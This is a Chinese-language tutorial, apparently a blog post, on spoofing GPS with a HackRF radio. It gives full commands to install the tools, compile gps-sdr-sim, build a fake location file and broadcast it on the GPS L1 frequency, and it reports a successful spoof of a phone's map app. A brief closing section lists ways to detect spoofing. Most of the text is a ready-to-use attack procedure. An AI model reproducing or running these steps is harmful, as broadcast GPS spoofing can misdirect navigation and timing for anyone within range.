劫持準備
設備:hackrf
系統環境:kali linux
1. 打開終端,在終端中輸入以下命令,在kali下安裝hackrf的驅動和環境。
sudo apt-get install hackrf libhackrf-dev libhackrf0
2. 安裝完畢,插上hackrf,運行以下命令
hackrf_info
可查看hackrf的基本情況如下所示:

3. 接下來安裝一些其他軟件,在終端輸入以下命令,就會將所需要的軟件安裝成功:
apt-get install gnuradio gnuradio-dev gr-osmosdr gr-osmosdr gqrx-sdr wireshark
4. 安裝成功后,就可以將hackrf的GPS外部時鐘安裝上,安裝的圖片如下所示:

5. 安裝完畢之后,接上相應的天線連接完畢之后如下所示:

制作定位文件
1. 從git上面下載所需的軟件gps-sdr-sim并且對這個軟件進行編譯,生成可執行文件。在終端輸入如下命令即可:
Git clone https://github.com/osqzss/gps-sdr-sim.git
cd gps-sdr-sim
gcc gpssim.c -lm -O3 -o gps-sdr-sim
2. 挑選一個經緯度,這里選擇經度66°,緯度66°。在當前目錄下,終端上執行如下命令,制作定位文件:
./gps-sdr-sim -e brdc3540.14n -l 66,66,100 -b 8 -d 100
實施劫持
讓hackrf將這個文件中的內容發射出去。
這里需要注意的是由于現在的手機基本上都采用GPS定位,基站網格定位,和Wifi定位3種方式合一,所以這里需要使手機處于飛行模式才可以。在終端輸入如下命令,其中1575420000指定的是發射的頻率,而2600000是采樣頻率:
hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0

我們可以發現,在欺騙成功后,連接的衛星數量會有明顯的上升。這是因為我們假冒了其中很多的衛星。

GPS劫持前網絡安全通

GPS劫持后
現在可以看到,GPS劫持后,百度地圖定位結果已經不對了,

Tips
GPS有風險,使用時我們該如何分辨GPS的真偽呢?
1. 根據GPS信號的強度區分。如果GPS的欺騙信號是從單一的設備中發出的,那么其信號的強度很可能是一直的,而在正常的通訊環境下,不同GPS信號不會有如此相似的信號強度。
2. 根據GPS信號數目區分。因為GPS信號是偽造出來的,而且需要至少偽造出來三個,而一般地來說,為了使得欺騙成功,偽造的GPS信號數目是越多越好的,所以如果GPS信號的數目突然增加了很多,那么很可能遭到了GPS欺騙。
3. 根據時間區分。GPS信號具有衛星授時的功能。而GPS信號的偽造一般需要獲取到某一天GPS衛星的運行報文,在這個基礎上進行偽造。所以這樣的偽造出來的衛星授時的時間一定是所采用報文的時間而不是正常時間,所以在聯網設備中只需要對衛星授時時間進行比對,就可以知道是否遭到了GPS欺騙。
|